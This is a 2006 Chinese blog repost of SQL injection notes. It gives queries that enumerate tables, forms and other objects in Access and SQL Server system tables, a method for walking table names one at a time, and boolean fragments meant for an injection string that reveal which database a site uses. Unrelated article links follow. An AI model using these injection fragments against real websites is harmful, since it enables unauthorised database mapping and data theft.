我的注入方法之个人见解!

转载 2006年06月07日 09:52:00
使用直接的查询语句获取ACCESS数据库中的表名/窗体/报表/模块/查询/宏
---------------------------------------------------------------------------
查询:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=5 ORDER BY MSysObjects.Name; 

窗体:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=-32768 ORDER BY MSysObjects.Name; 

表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (Left$([Name],4) <> "Msys") AND (MSysObjects.Type)=1 ORDER BY MSysObjects.Name; 

报表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32764 ORDER BY MSysObjects.Name; 

模块:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32761 ORDER BY MSysObjects.Name; 

宏:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32766 ORDER BY MSysObjects.Name;

使用直接的查询语句获取SQL数据库表名的方法
-----------------------------------------------------------------------
我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的
以此类推,我们可以得到所有的用户表的名字了

使用数据库的系统表对象来判断网站中使用的是何种数据库格式(SQL/ACCESS)
-----------------------------------------------------------------------
我们可以在注入串中加上一个查询语句:
(select count(*) from sysobjects)>=0
如果查询结果成立,即是使用SQL数据库的,反之否.

加以下语句可判断是否为ACCESS:
(select count(*) from Msysaccessobjects)>=0
如果查询结果成立,即是ACCESS数据库,反之否.
举报

相关文章推荐

Android对ViewGroup中OnMeasure方法的一些个人见解

protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec){}        首先说说这个这个函数,函数功能可能搞过自...

.Net平台中虚方法的好处之个人见解

虽然机房收费系统的代码已经写完了,但是对于.net平台的一些机制的认识还是模模糊糊,记得在学习设计模式的时候就遇到了“虚方法”这个概念,但是对于“虚方法”的认识却好似一团迷雾,今天下午花了一个多小时的...

我是如何成为一名python大咖的?

人生苦短,都说必须python,那么我分享下我是如何从小白成为Python资深开发者的吧。2014年我大学刚毕业..

人脸识别方法个人见解

===============blog.sina.com.cn/s/blog_4d92192101008en6.html =================== dodo:人脸识别方法个人见解(之一...

dodo:人脸识别方法个人见解

dodo:人脸识别方法个人见解(之一)看到j.liu关于人脸识别的帖子,萌发写这个帖子的念头。没有别的意思,就是想抛砖引玉,把问题说的全面一点,希望j.liu和回其帖子的兄弟姐妹们不要介意。如有兴趣,...

JAVA之工厂方法模式个人见解

//记录学习  工厂模式一般分三种: 简单工厂模式 工厂方法模式 抽象工厂模式 这里主要介绍第二种了. 先讨论工厂模式有啥作用? 首先工厂模式是一种实例化对象的模式. 也就是说是用来 实...

Java学习方法的一点个人见解

FROM : http://www.java2000.net/viewthread.jsp?tid=1691博客-完整版(增加了部分内容):http://blog.csdn.net/java2000_...

人脸识别方法个人见解

dodo:人脸识别方法个人见解(之一) TPAMI = IEEE Transactions on PAMI 这个杂志 PAMI  是指 pattern analysis and machine i...

Java学习方法的一点个人见解-完整版!

最近经常有人在论坛,或群里询问,也想报一些java培训班,但是想问一下怎么样学习java最快! 其实,编程的学习正好体现了一句老话:欲速则不达。 今天想给大家谈一下我的对java学习个人的一些见解...

人脸识别方法个人见解

TPAMI = IEEE Transactions on PAMI 这个杂志 PAMI 是指 pattern analysis and machine intelligence这两个领域
  • chl033
  • chl033
  • 2011-01-02 16:15
  • 7854

【转】dodo:人脸识别方法个人见解(一)

转自:http://blog.sina.com.cn/s/blog_4d92192101008en6.html (此贴最开始于 2007-6-23 19:50 发表在 prfans.com 上) do...
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)